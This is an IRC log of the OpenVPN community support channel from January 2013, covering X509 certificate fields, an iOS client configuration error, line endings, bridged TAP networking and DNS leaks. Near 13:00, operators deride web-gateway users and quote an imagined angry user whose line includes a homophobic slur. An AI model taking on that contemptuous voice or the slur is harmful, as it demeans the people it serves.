23:30 -!- madsage [sage@2001:470:c:1292::2] has quit [Quit: My damn controlling terminal disappeared!]
23:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds]
--- Day changed Thu Jan 31 2013
00:03 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 246 seconds]
00:12 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
00:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
00:25 -!- adolfomaltez [~taro@190.62.233.158] has quit [Ping timeout: 248 seconds]
00:26 -!- adolfomaltez [~taro@190.62.225.178] has joined #openvpn
00:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
00:34 -!- mode/#openvpn [+o dazo_afk] by ChanServ
00:34 -!- dazo_afk is now known as dazo
00:34 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
01:02 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
01:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
01:21 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
01:21 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
01:21 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
01:24 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
01:30 -!- master_of_master [~master_of@p57B54CF7.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
01:31 -!- master_of_master [~master_of@p57B54946.dip.t-dialin.net] has joined #openvpn
01:33 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
01:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:34 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:34 -!- dazo_afk is now known as dazo
01:36 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
01:44 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
01:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:03 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:07 -!- greyEAX [~marmalade@cpe-76-171-192-216.socal.res.rr.com] has quit [Read error: Connection reset by peer]
02:08 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has joined #openvpn
02:09 < flufmnstr> heyo yall. im trying to find some info on the KEY_CN, KEY_NAME, and KEY_OU options in the config, but im coming up with nothing. anyone know where i can find a doc on them?
02:11 <+pekster> flufmnstr: They're just the X509 field options defined as variables that are used by the openssl.cnf config files
02:12 <+pekster> flufmnstr: ie: the KEY_CN is the CN (commonName) X509 field, the KEY_OU is the OU (orginizationalUnit) field, etc. Maybe you want docs on openssl or X509 instead? None of that is openvpn specific, except perhaps the shipped easy-rsa scripts
02:13 < flufmnstr> ah ok. ill check those out. thanks mate.
02:14 <+pekster> Just declare sensible values in your config for your use. For all it maters, define that your Org is "Earthling" and your city is "North Pole" ;)
02:17 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
02:26 <+pekster> I understand about 2 sentences out of this entire article: https://en.wikipedia.org/wiki/Quantum_gate
02:26 <@vpnHelper> Title: Quantum gate - Wikipedia, the free encyclopedia (at en.wikipedia.org)
02:27 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:29 < flufmnstr> oh wow. it lost me at phase shift gates
02:29 <+pekster> Oh, that was for another channel, but I'm glad someone found entertainmnent in it :P
02:30 < flufmnstr> im quite an amateur nerd. though my interests mainly lay in partical physicas and chemistry
02:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:31 < flufmnstr> it good to see quantum computing coming along
02:31 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Read error: Connection reset by peer]
02:32 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
02:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:37 <+pekster> When I eventually retire, I should find the time to spend a few years taking courses to learn the math behind some of this quantum science stuff. Understanding Schrödinger's cat doesn't really help ini stuff like that
02:53 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
03:03 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
03:05 -!- [fred] [fred@konfuzi.us] has joined #openvpn
03:09 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
03:19 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
03:25 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
03:35 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:39 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
03:53 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
03:57 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
03:59 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Remote host closed the connection]
03:59 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
03:59 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
04:00 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
04:03 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
04:09 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
04:09 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
04:11 -!- zz_AsadH is now known as AsadH
04:21 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
04:25 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 248 seconds]
04:34 -!- adolfomaltez1 [~taro@190.62.239.151] has joined #openvpn
04:35 -!- adolfomaltez [~taro@190.62.225.178] has quit [Ping timeout: 248 seconds]
04:41 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Changing server]
04:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
04:47 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
05:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
05:30 -!- Spooked [~SpookZA@dsl-146-42-248.telkomadsl.co.za] has joined #openvpn
05:30 -!- SpookZA [~SpookZA@197.87.53.234] has quit [Disconnected by services]
05:30 -!- Spooked is now known as SpookZA
05:36 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
05:38 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
05:39 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
05:41 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
05:41 -!- [1]c3vin is now known as c3vin
05:44 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
05:44 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Read error: Connection reset by peer]
06:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:03 < hg_5> hello, when im trying to build key for client1 i receive this: http://puu.sh/1Vj7p , what can be wrong, i have used winxp and win7 and same problem
06:06 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has quit [Ping timeout: 256 seconds]
06:09 -!- fALSO [~falso@deadbsd.org] has joined #openvpn
06:09 < fALSO> Hi!
06:11 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has quit [Ping timeout: 240 seconds]
06:11 < fALSO> anyone willing to help me out
06:11 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
06:11 < fALSO> im not being able to establish a connection from a client to a openvpn server
06:11 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has joined #openvpn
06:12 < fALSO> http://pastebin.com/XXcK80En
06:12 < fALSO> i keep getting this :
06:12 < fALSO> Connection reset, restarting [-1]
06:12 < fALSO> SIGUSR1[soft,connection-reset] received, client-instance restarting
06:12 < fALSO> MULTI: multi_close_instance called
06:13 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
06:13 -!- [1]c3vin is now known as c3vin
06:13 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has joined #openvpn
06:13 -!- adolfomaltez [~taro@190.62.232.27] has joined #openvpn
06:13 -!- adolfomaltez1 [~taro@190.62.239.151] has quit [Ping timeout: 248 seconds]
06:15 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: Leaving]
06:18 -!- adolfomaltez1 [~taro@190.62.244.180] has joined #openvpn
06:18 -!- adolfomaltez [~taro@190.62.232.27] has quit [Ping timeout: 248 seconds]
06:20 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has quit [Ping timeout: 256 seconds]
06:24 -!- adolfomaltez1 [~taro@190.62.244.180] has quit [Ping timeout: 248 seconds]
06:25 -!- flufmnstr [~fluf@68-190-201-62.dhcp.snbr.ca.charter.com] has joined #openvpn
06:25 -!- adolfomaltez [~taro@190.62.217.193] has joined #openvpn
06:27 < fALSO> anyone knows what may cause that ?
06:28 -!- ade_b [~Ade@129.178.182.25] has joined #openvpn
06:28 -!- ade_b [~Ade@129.178.182.25] has quit [Changing host]
06:28 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:28 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
06:43 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
06:43 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has quit [Ping timeout: 244 seconds]
06:45 < spitf1r3> Hi. Can somebody help me with OpenVPN connect for iOS?
06:45 < spitf1r3> I have a configuration for certificate-only authentication
06:46 < spitf1r3> I've imported cert on iOS, and selected that certificate for my configuration.
06:46 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 264 seconds]
06:47 < spitf1r3> but all I get is: "VPN-On-Demand configuration error: CertificateRef undefined"
06:47 < spitf1r3> But log window is epmpty
06:52 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
06:53 -!- fALSO [~falso@deadbsd.org] has left #openvpn []
06:57 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
07:00 -!- master_of_master [~master_of@p57B54946.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:01 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Quit: Computer has gone to sleep.]
07:01 -!- master_of_master [~master_of@p57B55CF7.dip.t-dialin.net] has joined #openvpn
07:05 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
07:05 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 240 seconds]
07:08 < spitf1r3> I've tested same config on my Mac, and it worked
07:09 < spitf1r3> same happened, when I've tried using a "unified" configuration file
07:09 < spitf1r3> and that one worked on my mac too
07:10 -!- niervol [~krystian@193.106.244.150] has quit [Remote host closed the connection]
07:11 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
07:25 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 244 seconds]
07:26 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
07:28 -!- Porkepix [~Porkepix@157.138.189.81] has joined #openvpn
07:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:29 -!- Porkepix [~Porkepix@157.138.189.81] has quit [Client Quit]
07:34 -!- u0m3 [~Radu@109.96.171.40] has joined #openvpn
07:40 -!- adolfomaltez [~taro@190.62.217.193] has quit [Remote host closed the connection]
07:45 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Read error: Connection reset by peer]
07:47 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
07:52 -!- mattockl [~mattock@raidz.im] has joined #openvpn
07:53 -!- mattockl is now known as mattock
07:53 -!- mattock [~mattock@raidz.im] has quit [Changing host]
07:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
07:53 -!- mode/#openvpn [+o mattock] by ChanServ
07:54 < spitf1r3> Now I get something in logs;
07:54 < spitf1r3> 2013-01-31 14:30:01 EVENT: CONFIG_FILE_PARSE_ERROR option_error: remote option not specified [ERR]
07:54 < spitf1r3> 2013-01-31 14:30:01 EVENT: DISCONNECT_PENDING
07:54 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
07:54 -!- [2]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
07:54 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
07:54 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds]
07:54 -!- [2]c3vin is now known as c3vin
07:54 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
07:54 < spitf1r3> though I obviously have remote <servername> <serverport> in my .ovpn config
07:56 < jY> pastebin your config
07:56 < sam1> is there any reason from a security perspective to route all client traffic through the vpn? In perspective of the remote office. Not that you are sitting as a road warrior etc.
07:57 < sam1> hm, poorly formulated question.
08:00 < rob0> sam1, consult the sales information for Cisco VPNs. They and other commercial VPN offerings will argue the point that yes, you want to route all client traffic while that client is connected.
08:01 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Ping timeout: 256 seconds]
08:01 < rob0> It reduces the chances of loss of sensitive data, but intelligent users are a much more effective defense against that.
08:02 < rob0> Would be nice if there was such a thing as intelligent users. :)
08:02 < spitf1r3> jY: http://pastie.org/5986518
08:05 < rob0> "remote 192.168.100.1 1194", you're connecting via LAN or wireless to this server?
08:05 < rob0> !goal
08:05 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:05 < spitf1r3> rob0: just to test it
08:05 < spitf1r3> same conf works from my macbook
08:06 < spitf1r3> and the "unified" version; http://pastie.org/5986529
08:06 < rob0> you have a route to this 192.168.100.1 address?
08:06 -!- u0m3 [~Radu@109.96.171.40] has quit [Read error: Connection reset by peer]
08:06 < sam1> hmz
08:06 < sam1> openvpn.net seems down.
08:06 < spitf1r3> yes
08:07 < spitf1r3> rob0: yes, I do
08:07 < spitf1r3> it is a 'guest' subnet
08:07 < spitf1r3> and I've connected to it for testing
08:07 < spitf1r3> but why "CONFIG_FILE_PARSE_ERROR option_error: remote option not specified [ERR]", when I DO have remote defined?
08:09 -!- u0m3 [~Radu@92.80.113.44] has joined #openvpn
08:10 < rob0> no idea, but did you try starting it with --remote on the command line?
08:10 < spitf1r3> same when I try to connect from outside, using address reacahble from outside
08:10 < spitf1r3> rob0: commandline? on iOS?
08:11 < rob0> I don't have iOS and cannot relate to what you might be trying to say.
08:11 < spitf1r3> Ok
08:12 < spitf1r3> I can try to find the bonary, as I am jailbroken
08:12 -!- m0rph [~m0rph@host81-149-146-80.in-addr.btopenworld.com] has joined #openvpn
08:12 < spitf1r3> No I can't
08:12  * rob0 just had an idea, a long shot
08:12 < spitf1r3> But why am I getting such a message?
08:13 < spitf1r3> CONFIG_FILE_PARSE_ERROR option_error: remote option not specified [ERR]
08:13 < spitf1r3> doesn;t make any sense
08:13 < rob0> ensure that the file has Unix line ends
08:13 < spitf1r3> It was edited on a Mac, it should have
08:13 < rob0> if necessary, recreate it in a Unix editor
08:13 < spitf1r3> how do I check that?
08:14 < spitf1r3> if it has correct line endings?
08:14 < rob0> maybe a question for tha Mac folks?
08:14 < spitf1r3> I have a command line on mac
08:14 < spitf1r3> any normal unix/linux command to check that?
08:16 < MorgyN> file probably will]
08:16 < spitf1r3>  file Documents/openwrt01.ovpn
08:16 < spitf1r3> Documents/openwrt01.ovpn: ASCII text
08:16 < spitf1r3> Doesn't say that
08:16 < spitf1r3> but the file was created on mac, which is unix
08:16 < spitf1r3> I can recreate it in, say, nano
08:17 < MorgyN> it says dos if it has \r's i believe
08:17 < spitf1r3> that should do, right?
08:17 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
08:17 < spitf1r3> nano opens it just fine
08:17 < spitf1r3> so It's goood
08:17 -!- syoma [~syoma@186.34.232.222] has quit [Quit: leaving]
08:17 < MorgyN> ASCII text, with CRLF line terminators
08:18 < MorgyN> is what it returns for dos ones
08:18 < rob0> nano gives you the choice of line ends, when saving
08:18 < spitf1r3> okay, my files are fine, then what is wrong?
08:18 < spitf1r3> Anybody here used OVPN Connect for iOS?
08:20 < rob0> My nano in Linux offers Alt-D for DOS and Alt-M for Mac lines.
08:20 < rob0> so maybe in Mac it defaults to Mac lines?
08:20 < m0rph> is this the chan for openvpn.net?
08:21 < spitf1r3> doesn't work with either p12 from the system, ovpn with accompanying key ca and cert, nor with "unified" files that embed keys
08:21 < rob0> m0rph, as per /topic this is the OpenVPN Community Support Channel
08:22 < m0rph> Well i kinda guessed this was but wasn't certain. You know why the site is down? Trying to get the windows client
08:23 < rob0> mattock, ^^ ping?
08:25 < m0rph> can ping it, the site just appears unresponsive
08:26 < spitf1r3> https://dl.dropbox.com/u/121402/openwrt01.test.ovpn
08:27 < spitf1r3> That one has the same issue.
08:27 -!- u0m3 [~Radu@92.80.113.44] has quit [Read error: Connection reset by peer]
08:29 < spitf1r3> I had 504 Gateway Time-out on openvpn.net
08:30 < spitf1r3> And regarding my problem: I have the same issue as here as well, but I'm NOT setting up a VPN on demand entry: https://forums.openvpn.net/topic12019.html
08:30 <@vpnHelper> Title: OpenVPN Support Forum VPN-On-Demand configuration error: CertificateRef undefined : OpenVPN Connect (iOS) (at forums.openvpn.net)
08:31 -!- u0m3 [~Radu@109.96.129.81] has joined #openvpn
08:31 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
08:32 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
08:32 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
08:32 -!- [1]c3vin is now known as c3vin
08:36 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:37 < jackbrown> hi there
08:37 < jackbrown> if i set a proxy into the Linux OPENVPN mask = my machine -->proxy---->VPN  ?? correct ?
08:56 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
08:57 < scoates> Is this the right place to talk about the iOS app? or is that better elsewhere?
08:58 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 255 seconds]
08:58 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
08:59 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
08:59 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
09:00 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:02 -!- [1]c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
09:02 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
09:02 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 240 seconds]
09:02 -!- [1]c3vin is now known as c3vin
09:02 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has joined #openvpn
09:16 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Quit: ZNC - http://znc.in]
09:17 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
09:18 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
09:18 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
09:24 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Quit: leaving]
09:24 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
09:26 -!- m0rph [~m0rph@host81-149-146-80.in-addr.btopenworld.com] has quit [Quit: Leaving]
09:28 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 255 seconds]
09:31 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
09:31 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
09:32 < hg_5> hello i have just bought recently intel ssd G2 80gb, and i was trying to install windows 7 home edition on core2duo PC, and i can't past this progress, i have waiter more than 30 minutes and nothing happeneed http://puu.sh/1VmnP
09:32 < hg_5> sorry wrong room..
09:35 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
09:39 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:41 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:44 -!- Porkepix [~Porkepix@157.138.189.81] has joined #openvpn
09:53 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:59 -!- Porkepix [~Porkepix@157.138.189.81] has quit [Quit: Computer has gone to sleep.]
10:01 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
10:07 -!- Devastator- [~devas@177.99.152.118] has joined #openvpn
10:08 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
10:11 -!- Dashers [dash@home.aligrant.com] has joined #openvpn
10:12 < Dashers> Hi all.  I am having trouble getting tap working.  I've got a Linux server and a Windows client.  I have got to the point that the windows client connects and obtains an IP address from a DHCP server *behind* the server.  I can ping the server from the client, but not the otherway around, nor can I ping any other address behind the network despite the pings getting to the desitnation fine, the reply never makes it back.
10:12 < Dashers> Any idea?
10:13 < Dashers> There are no firewalls running
10:15 < Dashers> I guess it's something to do with the bridge
10:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:29 <@dazo> Dashers: why do you bridge?
10:30 -!- oyunokata [~rrinehart@209.163.177.130] has joined #openvpn
10:31 < oyunokata> !wecolme
10:31 < Dashers> Because that's the only option available in this situation.  I've only ever done routed before.
10:32 < Dashers> I guess I'm missing something at the networking layer of the server.  Just not sure what.
10:32 < Dashers> I've created a bridge, and everything seems connected up ok.  Indeed I can ping client->server, just not the other way.
10:33 < Dashers> Monitoring the network I can pick up pings coming from the client, and seeing responses, they just never make it.
10:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:46 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Remote host closed the connection]
10:48 < Dashers> Well, I've identified that the ping replies don't make it back to the server either.  But I've ran out of time for today.
10:48 < Dashers> Guess it's something to do with that errie world of arp
10:48 -!- raidz_away is now known as raidz
10:52 -!- Dashers [dash@home.aligrant.com] has quit [Quit: fnar]
11:30 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
11:33 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:35 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 252 seconds]
11:37 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Quit: Leaving]
11:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:53 -!- Devastator- [~devas@177.99.152.118] has quit [Changing host]
11:53 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
11:53 -!- Devastator- is now known as Devastator
11:55 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
11:55 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
12:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:08 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 264 seconds]
12:22 -!- Devastator- [~devas@177.99.152.118] has joined #openvpn
12:22 -!- Devastator- [~devas@177.99.152.118] has quit [Changing host]
12:22 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
12:22 -!- AsadH is now known as zz_AsadH
12:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
12:25 -!- Devastator- is now known as Devastator
12:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:30 -!- mode/#openvpn [+o krzee] by ChanServ
12:33 -!- mode/#openvpn [+v pekster] by ChanServ
12:34 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 245 seconds]
12:34 -!- dazo is now known as dazo_afk
12:44 -!- u0m3_ [~Radu@92.80.84.80] has joined #openvpn
12:47 -!- u0m3 [~Radu@109.96.129.81] has quit [Ping timeout: 276 seconds]
12:49 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
12:56 <+pekster> Have we traditionally had issues with web gateway users? They're apparently banned, and I'd hate to undo that if there's a good reason for it
13:00 < EugeneKay> I don't recall any specific incidents in this channel; likely becauseo of the long-standing ban.
13:01 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has quit [Ping timeout: 244 seconds]
13:01 <@ecrist> yes
13:01 <@ecrist> web users tend to be either spammers, or stupid
13:01 < EugeneKay> I have seen issues recently in other large channels with them. Too lazy to get a real IRC client equates to too lazy to google the fucking problem.
13:02 <+pekster> Ah, okay. I guess I spend more time on other channels that get semi-decent web users then. I must pick channels that aren't worthwhile to spam :P
13:02 < EugeneKay> #git allows them to /join(quiet-ban), but they have to be able to read the topic and figure out to /msg the bot for voice.
13:02 < EugeneKay> This is more challenging than you might think
13:03 <@ecrist> heh
13:03 <@ecrist> the unreal ircd channel requires users to join, the bot sends new users a link, via PM, to a quiz.  only after they pass the quiz are the allowed to talk
13:03 -!- greyEAX [~grey@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
13:05 <+pekster> There was a nifty new capcha-style someone came up with that leveraged empathy in the reply, so until we teach bots to feel, I liked the idea there
13:05 <@krzee> they often dont understand ANYTHING about networking
13:05 <+pekster> Regardless, our topic can't really spare the space to change the +b to +q, so I'm happy leaving it. Just curious
13:06 <@krzee> "hey guise, wanna setup my vpn for me?"
13:06 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Ping timeout: 264 seconds]
13:06 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
13:07 <@ecrist> and, as soon as someone says no, the inevitable "go fuck yourself!  I thought you were supposed to help!  your program will never be popular with your attitudz fag!"
13:07 <@krzee> lolyes
13:07 <@ecrist>  /ragequit
13:13 < jackbrown> If I'm using a VPN witha cert (the provider gave me) Does my actual Internet Provider can see wich http pages I visit or just the VPN provider ?
13:14 < EugeneKay> I presume you're doing redirection, in which case your ISP would see only the encapsulated VPN traffic
13:14 <@ecrist> it depends
13:14 <@ecrist> possibly the DNS query, if that's not routed properly
13:14 < EugeneKay> Plus any leaks(DNS being the most common)
13:19 < jackbrown> EugeneKay: how can I check DNS LEAKS ?
13:19 <+pekster> I suspect the "DNS leaks" problem is mostly people using their LAN gw's forwarding resolver and having the implicit route allow that
13:20 < jackbrown> pekster:  ?
13:21 < rob0> jackbrown, there are no "DNS leaks" if your DNS queries are routed through the tunnel. The easiest way is to use 8.8.4.4 in place of your ISP nameserver[s].
13:21 < jackbrown> rob0: what means ? The easiest way is to use 8.8.4.4 in place of your ISP nameserver
13:21 < jackbrown> rob0: I use www.dnsleakstest.com
13:22 < jackbrown> http://www.dnsleaktest.com/
13:22 <@vpnHelper> Title: DNS leak test (at www.dnsleaktest.com)
13:23 < jackbrown> rob0: is this website enough?
13:24 <+pekster> Not really, if you aren't going to take the time to understand the concepts behind the problem. Use of multiple DNS servers leads to intermittent access to each depending on factors out of your control
13:25 < jackbrown> pekster: where can i understand the problem ?
13:25 < jackbrown> pekster: I'm using Linux Mint and OpenVPN
13:26 <+pekster> By reading the information we've posted. If you define your ISP's reesolvers anywhere in your setup, you may end up sending requests to them. If you define a LAN resolver (eg: on your router) that device will send requests where it's configured to, and it doesn't have your VPN
13:27 <+pekster> So, your solution is to remove all references, explicit or implied by using other LAN equipment, from your DNS resolver setup (usually /etc/resolv.conf under Linux, although follow your distro's information for doing this)
13:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:30 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
13:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
13:54 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
